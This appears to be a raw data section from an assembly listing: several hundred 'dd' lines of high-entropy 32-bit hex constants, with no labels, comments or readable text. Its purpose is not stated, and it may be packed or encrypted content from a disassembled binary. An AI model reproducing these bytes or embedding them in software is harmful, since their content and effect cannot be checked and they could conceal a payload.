dd 0E9E240F1h, 0CF9EB9BCh, 989FB62h, 6395678h, 0C50BEFD1h
dd 29BE2C76h, 4B80791Eh, 0B79D8AB0h, 0F7F8FB78h, 0C4A5965Bh
dd 5C30C2E7h, 450501F2h, 7E603D46h, 70462E1h, 60BC7595h
dd 82475FF1h, 4ED6F37Dh, 0B28B751Ch, 5A882C45h, 0DEB00236h
dd 38E29A0Ch, 5D4BC3F8h, 0A010848Eh, 68786154h, 1B381DEEh
dd 0B14EDAC1h, 279D2050h, 600E5D02h, 917DDD68h, 346A51FBh
dd 0B6B2BE7Ah, 26158A1Ah, 97E9D07Dh, 0D62D4B70h, 0E2821392h
dd 580F5840h, 0FA588804h, 2E2C002h, 98F7E068h, 127FB540h
dd 56D898E9h, 3AC8FFA6h, 8CF26687h, 5E4C3056h, 9DC30276h
dd 61CEE7BFh, 3A489B6Fh, 28365FBDh, 504D3450h, 1EAC4A1Ah
dd 878F4E0Eh, 0EC270893h
dd 5D0DB927h, 103FA62Eh, 0A84F45F1h, 0D8AA4EF8h, 40A066F6h
dd 0EF96F22Bh, 8AEED2EFh, 0EDE90C01h, 77B10A0Fh, 0BF3C2563h
dd 0DF688590h, 0BB8C7C4Eh, 25710B36h, 0D3805E18h, 219D79C9h
dd 9CBEE8BDh, 1D2D083Eh, 0CC85401h, 42B5A18h, 534209EEh
dd 66DD295Dh, 610C8264h, 4C259EF0h, 6EBAA16Bh, 4409DB2Ch
dd 8A7FC1C3h, 1C73D925h, 68521C64h, 3FF5F2BCh, 4F176CFCh
dd 67F5C295h, 78F8B5F1h, 0E9F80929h, 99B543Bh, 19B8C1h
dd 0A057D1F7h, 2717B2D7h, 0A0577D0Eh, 0C24DD3EDh, 44C8B833h
dd 5ABFC653h, 8F4C952Ah, 0D4A3601h, 59CE291Eh, 0D1D6BE38h
dd 42DD03Ah, 0BF1734EBh, 94A79A9h, 9229E5E9h, 0CB0816D4h
dd 61FF2527h, 0A86AEBEFh, 0B38E5060h, 4C620CB9h, 0D01257D5h
dd 3B3D2261h, 53AA3135h, 3C370DE4h, 6083316Bh, 1769024Ah
dd 12294712h, 8FE3FECDh, 0FB4A3C48h, 0D342F329h, 0FF8109F0h
dd 6579CB70h, 5A509C97h, 2129750Eh, 0ECAE9CFh, 532EF67Dh
dd 161311B7h, 39EE58C1h, 4AB62A12h, 2C72777h, 5F6913F1h
dd 5030D2FAh, 5EF15711h, 0F7D91987h, 0E48108D3h, 454F08B6h
dd 780026FCh, 401A931Dh, 0BDF8482Dh, 6BED1E4Eh, 2DE62B10h
dd 760BD552h, 30681F22h, 62CC8409h, 63D4491Eh, 2081165Dh
dd 801C8AFCh, 0C5CE27CDh, 59E8079Fh, 8E2CF800h, 0EA5ED2E9h
dd 267965A2h, 17595A5Dh, 0E56E49F1h, 0AECDC700h, 4F76E233h
dd 0BFACF512h, 0D4FF8013h, 0DECAFBF6h, 0E36AA613h, 81DD24B3h
dd 204263ACh, 87C75559h, 8026712Ch, 10A997BAh, 12FAB3E4h
dd 8072187Bh, 997623Ah, 5AF2E249h, 536228EFh, 0FB89135Ah
dd 9C658DE0h, 4AFFE9C4h, 0B831C29Fh, 8097722Dh, 4C26EB80h
dd 0A18C450h, 140BCFB5h, 8444B972h, 0C300AA48h, 9969108h
dd 4BB05FFEh, 0F03FA9B0h, 8BCE8254h, 77709067h, 0BF1DF4AEh
dd 71567427h, 85BC5F49h, 5E8BFCBCh, 7A06F662h, 2D00026Ch
dd 6A477FB2h, 0A005E801h, 5AE95D07h, 0EF231786h, 12FEE774h
dd 90CDEA29h, 0F675AA3Eh, 38EB0994h, 0E91652D7h, 6129932Eh
dd 4F1535BFh, 0C52FE7FCh, 0CBA0DD7h, 27C6AC7Eh, 617C745Eh
dd 408257E9h, 83239B18h, 0ED040C76h, 0D1ECF6E8h, 0F1CBB0FAh
dd 0D9FECC0Bh, 499E84B9h, 16268FA3h, 215F926Bh, 69B34Dh
dd 9809EB6h, 0F488B8C6h, 0A4727B02h, 70D07F09h, 7D0F6A25h
dd 0BD82C9C5h, 69C72082h, 1425ADD7h, 0AD712EE1h, 2D7FE141h
dd 934FE33Ah, 0EBD3F8A8h, 4F348FB4h, 1650D80Fh, 85A16549h
dd 0AFE8609Eh, 0B304AB97h, 0C717680Bh, 10CB62FFh, 9991E77Dh
dd 7E5BA90Eh, 83D544F3h, 2C22680Ah, 50BF873Dh, 0C278B447h
dd 0BE001B6Fh, 7AF46C28h, 48BA326Eh, 6A5F052Eh, 0EBCCD5BBh
dd 9D7BDE2Bh, 0AE019C1Ch, 6985E92Bh, 0F504AE04h, 22B9E056h
dd 163B6650h, 81B72562h, 0F2E4E91Fh, 7E27DB73h, 18572F8Ch
dd 0A82981D4h, 12336837h, 0A8433F37h, 35B8D766h, 291B3631h
dd 0C31FA0EAh, 2A408241h, 7BE3199Fh, 0EDD92D4Bh, 0C70BBAFBh
dd 0C46C58Bh, 51A3F6CFh, 0E4AEAA0h, 38C24FC1h, 0A6309017h
dd 416E09EAh, 425F1FFEh, 1C080D5Ch, 88EE1404h, 0F42B68A3h
dd 6C02A158h, 6015AC35h, 306E9558h, 0A80C661Eh, 0D4C7F54h
dd 233E0731h, 0F66012CCh, 48923384h, 174E7186h, 1DCBBFCAh
dd 5BDE325Eh, 0F6C2C609h, 160D60E2h, 88C3FE59h, 1667D097h
dd 0EB07E6C0h, 5DB51BC2h, 7227E751h, 1B0F3D7Ch, 54DDEB4Bh
dd 846AB9F5h, 0BAA5648Fh, 1688E68Ah, 0C7C6C827h, 2C2704E6h
dd 0AFDF295Bh, 0B90EEAB9h, 0E0B6E21h, 0D40CD1A7h, 18D7C319h
dd 8055EBA1h, 0D72C4E18h, 0D0CF0112h, 2158081Ch, 1C9A1441h
dd 23091E59h, 5808D1DFh, 5F4952E9h, 4B6D1799h, 1592351Eh
dd 0E95FB5F8h, 0DE30D49Ah, 0C84A4CD0h, 6625FD9Eh, 7992FF3h
dd 12D416CCh, 61F9DEBh, 1C84280Ch, 0D85510A2h, 740122F2h
dd 7635E12Fh, 0EC9E441Fh, 0FCB01F74h, 128AC2D8h, 8F3BB745h
dd 0BDD019DAh, 3B1C759Dh, 9495A9Fh, 300A6239h, 0C1E79340h
dd 5E98261Dh, 903AE2BCh, 0E786DF4Eh, 295B491Ch, 0A1BF2AD4h
dd 0EBAFBFA4h, 0EE967036h, 0F6624E59h, 0A4081207h, 16B4B7AFh
dd 77D55EA3h, 53515701h, 0A06A55B3h, 882E713Dh, 70124ED1h
dd 13A132EFh, 0E6B8CB78h, 531F6E61h, 10C38CB7h, 0DD914h
dd 55E3C380h, 2D347C68h, 535E117Fh, 5F5FE958h, 97B15654h
dd 0E4AFB4B1h, 0FA9FC3DEh, 0E942B967h, 0A1E853C6h, 2C9CFD82h
dd 62FAF1B5h, 0EC5BA950h, 0D5F74D80h, 62CBA52h, 8742B338h
dd 8C214EAh, 643095E9h, 30A1B2B8h, 0ED47ECF1h, 977C71ABh
dd 69BB56BDh, 0D3957FF8h, 81CF145Bh, 2F422910h, 812876BFh
dd 1F1E0A05h, 2DB44219h, 535F0780h, 9B4FD7E9h, 0C257DB72h
dd 846CD5CAh, 1C075A1Ch, 392599BEh, 0BAEB541Ah, 0FCCAF5A7h
dd 86DFE7F7h, 4D9DD5E9h, 582FAFB8h, 15C3D357h, 9D7DFE7Bh
dd 0FCBA3C85h, 0EBD10978h, 0B7710143h, 0A06F1A73h, 0D265E9A6h
dd 74A36621h, 984BE9C5h, 7D05B8D2h, 507AD814h, 0A94AED0Ch
dd 682E09EAh, 740B1B2Ch, 0E9F8D77Eh, 2A654C8Fh, 779E7D87h
dd 0FC1DB4EDh, 3F2B51D6h, 0B24A6E2Fh, 913F2262h, 1895BDBFh
dd 0BE4B925Eh, 47E653C1h, 0DD002822h, 1154E581h, 149035F9h
dd 0C0BA9E09h, 30B9D8E2h, 0FEA2D6F7h, 1B256A64h, 2807F31h
dd 0B9719429h, 0E6F20128h, 0F35B140h, 0DA53AF4Eh, 90FD2E4Bh
dd 33543AE9h, 4E506FEDh, 0BAAE41F1h, 0A90981Ch, 4B68AD0Ah
dd 0DAD3B817h, 2F29D578h, 3E80F3D4h, 0E963855Fh, 0FF474B3Dh
dd 76B35B61h, 274914A8h, 1C555B54h, 54F19DDDh, 0FD1B6AC9h
dd 30743B83h, 3B2B3951h, 28F8CF84h, 46D45BC9h, 905257E3h
dd 50227D68h, 40C9BE40h, 0A5ECAC20h, 1CE74D5Dh, 0C385AB04h
dd 0BE87562Ch, 57A49D8Eh, 0C6A12D16h, 513CEF2Ah, 2CA01CB3h
dd 0ED813EEh, 0E9C4B18Fh, 0BD1B9128h, 1657EC96h, 0C0446297h
dd 4A0A409Bh, 7D758056h, 4A61414Fh, 7683118h, 1C5AD70h
dd 901B7532h, 2B4C0DE9h, 16E2F140h, 242101A4h, 8E65AD5h
dd 502157Ah, 0D5EA623Dh, 2F7680C0h, 0C260042Eh, 7710C507h
dd 8BE9C09Eh, 0BD82BE67h, 51BDD6D8h, 0FD933E4Dh, 575DD234h
dd 1F121C7Dh, 813D0171h, 0EC09F0F2h, 74C93A69h, 0B265E42Eh
dd 0E0593940h, 0C20426D0h, 13200825h, 42B55104h, 0B5EFA1E1h
dd 0E66821A0h, 0E47B954Dh, 9776B0Ah, 55DFBB80h, 12C162FEh
dd 0BE4B02E3h, 31A4A00h, 4C89F6D2h, 0E7253FDEh, 655D5D07h
dd 80C1433Fh, 36F184F7h, 93237461h, 632F5320h, 8E0483EFh
dd 28909C10h, 77F72C28h, 0E9D8761Eh, 68B5C8DAh, 2DD9BC03h
dd 0F05B947Fh, 606AB666h, 0CACD80F6h, 0B658E5E6h, 5FD64483h
dd 0DC8F6825h, 0FA49883Eh, 12BD8129h, 0E2BF19E8h, 0A4BA803Fh
dd 2F7CB616h, 5FEAC1h, 7EEE2D0h, 423D2E27h, 0BC301797h
dd 2F0692D2h, 0B56308A8h, 1E813D60h, 46638B96h, 0F0995063h
dd 0B6623CD3h, 8404CFC8h, 0C0365227h, 0E445532Fh, 0FEB554Ah
dd 0E85783DDh, 8F1C85B1h, 6994A904h, 400EBB12h, 1DAC427Bh
dd 8BF9C001h, 92B480E8h, 0E0C4803Dh, 0E4C06606h, 0C853E802h
dd 822D4C9Ch, 9165928h, 0AC3B65F5h, 0D2C58835h, 212EF63Ch
dd 3649AA22h, 69C89DD0h, 679F19A8h, 0BF62305Ah, 0F33E1FD9h
dd 75C79516h, 0C67C8599h, 10DC7CA5h, 959EBF04h, 7E5D0E1Ch
dd 87E1E946h, 0E6C12E34h
dd 0B0530841h, 0AF1AB10Eh, 0DEC42F6Dh, 5E53527Dh, 65EE8FD5h
dd 724CC29Eh, 0A7FCC3E3h, 0E90C4060h, 189FDFE8h, 3E5C63C3h
dd 82926CBCh, 183BAD62h, 0EA591811h, 0E12418A5h, 0DB780C49h
dd 0EF3A2E27h, 40D34F9h, 0D00774BFh, 0A55EB47Ah, 0D1205AB8h
dd 0F708A07Fh, 0F0184B88h, 0D54AB423h, 0EF2F74BAh, 50553F30h
dd 53D00068h, 0D1587DA6h, 270B05E0h, 0F43B8AC1h, 82F0BFAh
dd 0BE40031Ah, 6CF88060h, 0F6E2F1E6h, 0D824D177h, 0F7812399h
dd 51C96638h, 1C5CE43Fh, 32C41149h, 7DB8BF15h, 987B1D74h
dd 5B03E9C7h, 0D57F910Dh, 0DD5F0239h, 85FE94B2h, 5D5FF8C2h
dd 4512B851h, 66A3B3EBh, 7FB354h, 8B522B6h, 0C3287005h
dd 0E0C14F09h, 0FE815F06h, 858E75E9h, 172B052Bh, 0EFC1C412h
dd 5403A6ADh, 6D6930B2h, 0CFED7A55h, 0E3D0289Ah, 6277B800h
dd 0C3316881h, 53659C58h, 0DA26E218h, 0C439B34Ah, 413210h
dd 461ECA81h, 0EEA2D6EDh, 2119BB81h, 0CC3AFBC1h, 974F6B30h
dd 0BBB569F2h, 33E418D0h, 1CC295A0h, 7C2E9910h, 0BDC4E697h
dd 0BD0107FEh, 8210A74h, 0B76C85E8h, 0AE6BBC22h, 0B189B87Dh
dd 93B4381Ch, 2550CC2Ch, 9B94B7FCh, 0D4E575B4h, 737BB252h
dd 0E97AC209h, 590F2402h, 1968B5C0h, 1A9B9753h, 565D10FAh
dd 10F0E835h, 2D5A13EBh, 8524CEF2h, 0DF5AAF16h, 375658F2h
dd 87774C81h, 71A0058Bh, 17EEB81h, 573C70E6h, 3ED88950h
dd 13E21544h, 5CE2FBACh, 0E9E14FD1h, 0D96F4151h, 4047E80Bh
dd 0FA48FEB2h, 5B142764h, 1BCE2519h, 9C627990h, 5FEFD1E0h
dd 5BF5B340h, 7853762Fh, 0FCF0B35h, 63FCFDB4h, 0B0826A2Eh
dd 6051BF3Dh, 9DF7525h, 0EF312A1Ch, 0A6AF0785h, 2D45794Ch
dd 5FE6E72Fh, 0AEA4A3A9h, 0E4CF8CC2h, 0B8304B97h, 58017622h
dd 0E9D8315Ah, 1040DB57h, 0F3B808FAh, 8368B2EDh, 71D46628h
dd 0A02B994Ah, 4BDE98FDh, 0D48BBBFDh, 80C12E7Eh, 2B4F8264h
dd 444163Eh, 2C80A75Ah, 3905C635h, 0B0753D31h, 734459FAh
dd 63F8D62Dh, 8880060Bh, 0FDD22BD2h, 0E90B5447h, 50A22405h
dd 0DE8981BFh, 5F412B49h, 636960F4h, 0E2FD562Ah, 0E9116224h
dd 96726A2Dh, 9D8C9E0Dh, 176E0243h, 51D50268h, 3FF9ADEh
dd 739B12C0h, 35283D01h, 5F864D71h, 145822Eh, 0EA00FBDEh
dd 5A77BB3Eh, 996C5D68h, 28DAE90Bh, 0F8B89477h, 0AB02BFCCh
dd 2743D1F7h, 7C7E86CAh, 469C620h, 2F58550Ah, 80B15D1Ch
dd 2857C140h, 955FE9F1h, 9A5F215Fh, 0DA426D76h, 2127E1D6h
dd 0E7B749AAh, 2D680464h, 7913062h, 6E13E556h, 80FAE4C4h
dd 7B6E9C4h, 51E323C0h, 24555FB9h, 10314D70h, 3E16606Bh
dd 9034045Ah, 3CD2137Ah, 7AD104D9h, 0C43EBCA1h, 0C517AB99h
dd 0C3910B91h, 0F101AADFh, 0BE732500h, 0BFF667Dh, 3D0E930h
dd 685E69A0h, 0D39F20C4h, 1AB00069h, 525F5DDAh, 0E91555F0h
dd 7A396F78h, 0EDFBC0CCh, 0E83241ACh, 0C6957C13h, 4B15B434h
dd 70A9CF65h, 476FCC9Eh, 6E93C1Ah, 72D9E2FFh, 25622072h
dd 3C5C77E4h, 0B5AD20E3h, 58AF864h, 0E5691781h, 93AD60F6h
dd 4BE24B4Ah, 0D9ED809Dh, 0E97FF84Ah, 0EA52F02Ah, 57BE748h
dd 678D3380h, 834E16F9h, 4B2F97E0h, 0C000F505h, 6B022F2Dh
dd 0B5D4215Ch, 6010F3B6h, 372C1E7Eh, 836835C2h, 0AA98D769h
dd 0F86F28DFh, 7F08EBF1h, 0E9250ECCh, 285E20Ch, 0DE1BE7D8h
dd 3A3E62C7h, 501E38D3h, 773FF7CBh, 0EA4E8994h, 8CEF4047h
dd 210131D0h, 5F27C9F8h, 5B487277h, 0CF110059h, 559030A9h
dd 704B34C1h, 0E0307987h, 8E5D02AFh, 801E909h, 0AC78C57Dh
dd 0C4CC12E3h, 7EAC04Dh, 0A373F281h, 0D64A7425h, 357CA79Ah
dd 0C69E5D2Fh, 0AAE118BFh, 6B97BC80h, 0D7FAA1A2h, 0F02B780Bh
dd 1762BC0Fh, 0F96BA021h, 4BB3235Eh, 6A27A611h, 8605F648h
dd 27802B04h, 251875C6h, 19C0DDE7h, 6CB59C68h, 48D3976Eh
dd 4AACE962h, 2CF548B8h, 8360BE20h, 76AB4A80h, 68C80C00h
dd 98E9237Ch, 9AE92EAh, 61920A1Dh, 2DA6E55Dh, 5112F1D0h
dd 0C1AB71F9h, 7A1AA3D8h, 3AB858D4h, 0A3DFB4Ah, 3320F0E9h
dd 49E9E82Ch, 5C2D7B17h, 0BA70E7D0h, 810C2D76h, 0A5E8EE2h
dd 0A0703FEAh, 1AD00113h, 3409C90Ah, 95D0B02h, 856407F4h
dd 0C009B9E8h, 0C16008EAh, 29B162ACh, 70897727h, 3CF12192h
dd 885145A7h, 80073A31h, 0C632CCEEh, 0DEB5E161h, 0EA68B06Eh
dd 6082287Ah, 9A737BB4h, 15720F3h, 1E00BF71h, 6EBB0FD5h
dd 6D0864h, 0BE5FFB29h, 0A2CCBA53h, 3781E0B5h, 1402692h
dd 1F7F08D6h, 0E6C15E03h, 0ED19CB07h, 0E93A16CDh, 5A8B94h
dd 420F08B0h, 96D19D4Bh, 2D0C4F92h, 9291B02h, 0C97EE9F7h
dd 218A4AADh, 9AA2ADEh, 0E65F1Ch, 15C96CB7h, 0C02D12E9h
dd 92E9E84Fh, 0B90F703h, 0B222C6A6h, 6F4C95BCh, 68E1F705h
dd 73EA39DBh, 0BC85C419h, 5520C7BEh, 74D5F09h, 68D80438h
dd 0E8AC1E07h, 8D3E05C4h, 40EB2E80h, 1E6ED165h, 3C98456Fh
dd 0B8076A92h, 31031311h, 0D73D58A2h, 1A2041C6h, 0CD292CB5h
dd 262C107Bh, 0A0712B52h, 19D48754h, 581FD2FEh, 0A4D55FC0h
dd 0ADA81DD6h, 5C02BB92h, 0C8EE6852h, 6767E9D6h, 0EFE31DB6h
dd 2509109h, 39B3BD05h, 2875025h, 11F581D1h, 96560F4h
dd 0CEE9EB29h, 0F55E1A7Dh, 602F27D0h, 0EC8A2E3Ch, 0EEE685AAh
dd 0E59241Fh, 0F0CA0435h, 4B46E9BEh, 0E9EF90ABh, 32C7CB1Bh
dd 0CF0683B7h, 0E62E2014h, 4F68510Bh, 0ECA8301Ah, 3DC02F2Dh
dd 5903C7D4h, 4671F0Dh, 4B555AF4h, 5E09166Dh, 1059D5DDh
dd 0D4209F20h, 520502CEh, 5B3E3476h, 0F6691654h, 6921C0C5h
dd 0E9177C5Fh, 0F58C4A42h, 6720039Eh, 0D9F74122h, 0D277519Ah
dd 590BCD9Ch, 5F68601Ah, 0DD98DF1Dh, 0D9672F7Ah, 80D7C911h
dd 0E75890A6h, 40BBB07Eh, 2778F01h, 0CB2BE52Dh, 0ADC2E4A7h
dd 9F50B93h, 0D26D7DAFh, 81D224A7h, 5659CCBBh, 0D7AFF79Dh
dd 52BECDA0h, 20F72919h, 81B9FEE2h, 711F6807h, 3BAF70Bh
dd 0AB9D0F04h, 0C50FBD8Fh, 67095F6Eh, 163CB004h, 45ED4700h
dd 7E6471h, 4A6B850h, 0D32565E1h, 78A25600h, 754AC205h
dd 308594A0h, 0AF335C4Ah, 0E5022276h, 79C6676Ch, 0FFED8495h
dd 92DC9713h, 7D7E0925h, 6009F993h, 73EBFE4Dh, 6DEA48F2h
dd 4B3147Dh, 0E43CC2C5h, 0EDC4A077h, 0C55A08A2h, 0D256832Fh
dd 0F2497366h, 0AE52C868h, 0FCF68100h, 0A0026236h, 273208CFh
dd 405D204Ah, 1990C3E2h, 34777B1Fh, 3506331Ah, 0EAB18568h
dd 222F542Ah, 665ADE32h, 68E88F78h, 3477D93Ch, 5FFF1189h
dd 0D92117B9h, 0E96A55FBh, 22D1A4F0h, 6801F978h, 0BFD9E664h
dd 0D5F6C480h, 3980CDFEh, 0C58423F5h, 0D416E9D6h, 0F488BA33h
dd 20297FEAh, 962089CCh, 0CAFE3736h, 356B9304h, 5DA36510h
dd 52AF2D7Ah, 0FEF4736Ch, 25A646BFh, 1876C181h, 0FC7BD971h
dd 0FE17F4A5h, 7B53F07h, 0B25BFD00h, 0FCEAE03Ah, 0FF2E9DD6h
dd 7B99F9F6h, 0D327DA27h, 885087BEh, 0BAE725F4h, 2130CD89h
dd 0D7D9BD08h, 534FB1C1h, 1523ED2Eh, 0F9391AFh, 264E02EEh
dd 0F5C1256Dh, 0B1EA9B44h, 5B983A2Fh, 81A4BD4Ah, 0E9E1BBC7h
dd 0C1250C6Ch, 249E6675h, 1D9FD5Dh, 54455B05h, 41BEE82Eh
dd 0B981F796h, 4CA2777h, 702DCC52h, 0B0559F13h, 3DC6C54Eh
dd 0FCCA6025h, 38C811E1h, 6AEBEF25h, 47E8C28Fh, 429FDFAh
dd 7D02A4F4h, 0C0589124h
dd 822A74C9h, 0EE9D3ACBh, 5C8935B2h, 0CBE7B75h, 2DCAFCF8h
dd 0AC2B1609h, 20F8D651h, 3D3EA07h, 0E96AE15Dh, 9F0130BDh
dd 0A513B0C3h, 523E292Dh, 78C8BFC0h, 6B387796h, 105F1852h
dd 0AB02144Eh, 0F407DBCCh, 869B7602h, 25E75877h, 5EDB3AE3h
dd 0B608CE21h, 0AA5D1703h, 94228B2Dh, 0D639E6D4h, 682D09F2h
dd 0A99A623Ch, 283805Fh, 60734B25h, 1B85D043h, 0E3EC779Dh
dd 0B37BF60Ch, 1256186Fh, 0AB786D1Eh, 0D440D7D0h, 89160241h
dd 2B43E9D8h, 51EE877Ah, 7DC6C55Dh, 31E2542Eh, 958DEA5h
dd 0DEF328ADh, 0A19D1631h, 502DAB2Fh, 446F19FDh, 0FE955DCFh
dd 5ABA0D28h, 126EA7C9h, 9BB885Bh, 0FC660AF5h, 7348FDF0h
dd 7DE0D29Ah, 168C9202h, 16621035h, 0B406A000h, 1BA47F4Fh
dd 0A7A5B5E5h, 5C40CEEh, 6090DDF1h, 1BC9460Bh, 0BB14009Ah
dd 39535C2Eh, 0B2504D45h, 5E0D121Ah, 0E947020Bh, 0D25ED3D7h
dd 65245CEBh, 0DDB1D053h, 1A5B6808h, 0E928A8CBh, 8DA89F0Fh
dd 0EB0A0BC3h, 5C0BB5Eh, 75564AF1h, 1ACD0F6Eh, 0B405C84h
dd 2D41F36Fh, 7F896B91h, 2EA810FEh, 0A5CF20Bh, 0BF57DA29h
dd 0EDF82D08h, 461792BBh, 0A6FF3DC4h, 0C8624BD1h, 6898A110h
dd 15881A51h, 92342607h, 2ECB6EB8h, 77BB9D20h, 30312175h
dd 0EF29AE81h, 55F5E9DCh, 0EA3BA06Ch, 42C7D44h, 55F29CFFh
dd 1250BD06h, 48A809CBh, 698424F4h, 5D5D09CEh, 0ECFA66C6h
dd 13141659h, 5F8D34CFh, 255FA908h, 0E30B88E9h, 0B2459677h
dd 0D54A0447h, 0C131709Dh, 40FECF7Ch, 0B75351AFh, 0EF2DDF79h
dd 0CB97B0FCh, 0DBC69D69h, 8BB75131h, 77C23DABh, 76CBEA71h
dd 741200B8h, 0F2B90211h, 0FDEE8B02h, 0F64A7DE9h, 60B26224h
dd 0F095E4F7h, 0CEFD4FCDh, 2FCE40ECh, 9970382h, 0F7290019h
dd 5EBF1E13h, 0E4A9868h, 2BE4EFCDh, 0E6C4CECh, 6E4A3C05h
dd 18F0AAA0h, 0CD817E7h, 3C6B0C0h, 0DC9D4B17h, 14D05684h
dd 169525FFh, 2012E91Fh, 5A4F290h, 35AC8E62h, 575601E8h
dd 47653051h, 6CF15A4Fh, 2154F2h, 0E0C0C8FEh, 0B2385202h
dd 0ADD03FA0h, 7585429Bh, 5C121917h, 0BF6CD1F1h, 2893E9A1h
dd 5AC25E26h, 0B51E5850h, 0BE68EB45h, 0D518E225h, 0ECEBACD3h
dd 30ADB2A6h, 0E13FCE8Fh, 1B2E4657h, 3808572Ah, 565B04DCh
dd 0AF2DC252h, 0ECCCF50Bh, 929874Dh, 8290419Dh, 0A5211CBh
dd 0FD4209B8h, 390A094h, 5DAEC895h, 0BDD174E9h, 35FDFEE9h
dd 2063260h, 7B397CE3h, 5437C060h, 0B7A7008h, 0AEE9F331h
dd 0BA04A170h, 617B2F2Bh, 830D0EAh, 0CB5FFE9Eh, 16A85E1h
dd 836EDDD0h, 4B6E3D6Ah, 0AA4F2FBDh, 3E21CBD8h, 0FFCEFEF9h
dd 0DB219529h, 31D1F57Bh, 28EB3BA7h, 325E97Bh, 5B117207h
dd 7EA7F3C4h, 2F135F4Ah, 2568EA43h, 0FA371026h, 0D5BF0310h
dd 0D13CA143h, 0A5B4A7A0h, 0E7C30668h, 0F60B2797h, 404D754Ah
dd 1AF0EFEBh, 103D6324h, 3A6CA50Fh, 5E3CF57Bh, 979FAC45h
dd 908FE0ADh, 44AA3E7Dh, 4BBCE412h, 15FDF37h, 0DD015B11h
dd 5DAD06BFh, 0D22A58C6h, 8D20942Ch, 7D6817F8h, 6A62AA44h
dd 1F45F753h, 7044ED80h, 62F6684Eh, 0B01FF745h, 8900730Ah
dd 68BC6084h, 9B7A532Eh, 7C734Ch, 0BA107D49h, 78FE23C0h
dd 5F780BFh, 5CB50786h, 2A686853h, 40A2C08h, 0ABDC62E9h
dd 70841C27h, 42001D1h, 5A29C991h, 3307BF46h, 0BEC9093h
dd 29A621EAh, 0C201115Eh, 2B9442C5h, 7A2043Bh, 3A8EAA4Eh
dd 71896809h, 5E54BA98h, 77417798h, 6AB4B16Bh, 0F5B7D6ECh
dd 8F8E450Fh, 22DCEA11h, 5C5B758h, 0E38EB049h, 8AE91A5h
dd 0BB02509Bh, 40A312A7h, 0B7FAC8D6h, 0E420314Ch, 0C1460B98h
dd 83FA03EEh, 7274372Dh, 26912D80h, 5DCBF759h, 4C41744Ah
dd 87023845h, 6BE2F9F6h, 0B2C5F783h, 0E0FEB1A0h, 94ABBF4Bh
dd 70B80121h, 0D8346D3Bh, 4304F9E2h, 0A8E937E7h, 35039695h
dd 0A566B4B3h, 5BFCD3AEh, 0C380D3A8h, 0EB3B0673h, 0A9CB0401h
dd 95EC1CE9h, 0B2A6BC5Eh, 0AC51EAF4h, 13A47AECh, 73FA541h
dd 550BF057h, 10FB134Eh, 28600829h, 492B6676h, 2CD0CAFCh
dd 0F0466E08h, 9628FF97h, 76F66AECh, 0FB0A34EBh, 143B1E99h
dd 7527389Fh, 481EE7F1h, 7EE2C825h, 51D5820Eh, 3057CBE8h
dd 57C960Dh, 0CBE927F6h, 3C7C812h, 8568AE06h, 9065D501h
dd 3FED2D5Bh, 6989337Bh, 689CD7A0h, 1765F395h, 0AB055303h
dd 0A1DF1623h, 0BF70C38Bh, 0EB7BCE36h, 1E1558A7h, 425D65DFh
dd 60C756B4h, 2F2C6850h, 581F8700h, 0B802D135h, 405FB808h
dd 699D66EEh, 43B612Ah, 819E04ECh, 0C1A8B706h, 0D8052BF8h
dd 67AB35DCh, 0D5274FA6h, 0FD45E233h, 0C99FD457h, 4736D17Fh
dd 1195C801h, 6CBE4FD6h, 0BF4EC34Eh, 0EB42AAC9h, 2331223Fh
dd 32DC46F5h, 52A2236h, 0ACC0F857h, 6FE927F8h, 0E30ECA0Eh
dd 282132EBh, 0FD80C7B1h, 59C8C0C1h, 3B58E1E1h, 6607DBA8h
dd 76BB450h, 2C806FE7h, 0E9F82821h, 8416AF5Ch, 1CC22EEBh
dd 201D581Eh, 0BD05FE16h, 4EA93964h, 1950FEE9h, 9D577059h
dd 8087CEAh, 702F02A6h, 6BD763A8h, 3A6FE801h, 0C4A0BD24h
dd 0F3B388Fh, 4FF9E93Fh, 16A4A3ECh, 0F425ACB6h, 4F64F3ABh
dd 0D360D7B5h, 12757DB9h, 0AA417F88h, 59F1B700h, 0C177035Fh
dd 8C540D0Ch, 66F02E2Ch, 0AEEF4EC1h, 6BE1CDC8h, 0B5046A80h
dd 0EA0C1EE3h, 25590612h, 6C56D728h, 0FE80B41Dh, 0B151525Bh
dd 0A2B9A133h, 6EB4876Eh, 0C706AA6Fh, 0F2004328h, 0C0DAF616h
dd 4C5005E2h, 0C205E5B0h, 0C8CB34E9h, 29F12D89h, 0FEB9D68Dh
dd 6C49BFF4h, 68D7407Eh, 0D572178Eh, 0AFA860h, 0ABE2E88Ch
dd 0C01F99E9h, 191CCE53h, 0C5A41BBCh, 0FE7B6409h, 0B4F8753Fh
dd 0D3DE5625h, 3BA80B6h, 15C8E2Ch, 64AB544Fh, 0EFCA8214h
dd 47F21189h, 3ABA6420h, 7D8652ADh, 5754D32Eh, 89F185FEh
dd 225C15B5h, 0BA2DD882h, 0C236447Ch, 221361D2h, 54B07361h
dd 0F6E8EBD1h, 66C07425h, 7583C2Dh, 8C267AFAh, 0B440692Fh
dd 586A344Eh, 1084FA5Dh, 7928FF09h, 20354112h, 665B0217h
dd 87285209h, 0F53D8A12h, 8C521A9Fh, 9394EEFh, 0B14FCD4Fh
dd 759BA903h, 0ADB0D044h, 78187500h, 0DCDB848h, 0C7454E5Fh
dd 23F960C1h, 26C1179Ch, 1FBF37FAh, 9CA6F370h, 5EEB881Fh
dd 84C82909h, 0E714F298h, 28F0052Dh, 0FE65CC1Ch, 83EC99FAh
dd 0CF01D906h, 77113028h, 0BCD0C34Fh, 586B7525h, 0D44BF472h
dd 5E36ECE2h, 26E00C0h, 0D05E47Ah, 416A0DABh, 13C0041Ah
dd 384BE808h, 0FE31AD5Dh, 0A01C6459h, 2348B11Ah, 52DE058Bh
dd 0F7F871B6h, 66F12012h, 0AD48221Ch, 30160189h, 0CE2858C1h
dd 53C02562h, 2AE9F388h, 0D7736295h, 74ADB653h, 5368785Eh
dd 9FF2524Eh, 0DADEFB9Fh, 5AE91322h, 75D8B784h, 68EC40B8h
dd 0E6157727h, 80D1F6ECh, 0A8FE535Ch, 47837809h, 0F69BD55Bh
dd 27051EE1h, 8D10909h, 3ED54B2h, 579C7935h, 7E5FE5D2h
dd 0E3F682FDh, 89F77ED3h, 29837FB4h, 5FCA4E9h, 0C6E9F909h
dd 4561758Bh, 6C543058h, 0C71506CEh, 0E79151C7h, 0FEF086F9h
dd 0DD08DFC6h, 413A4EFh, 82FC28A7h, 0C6DF415Dh, 0AAEF59F5h
dd 0A23B800h, 0C689354Eh, 3192F5A0h, 424CC0A9h, 40F759A9h
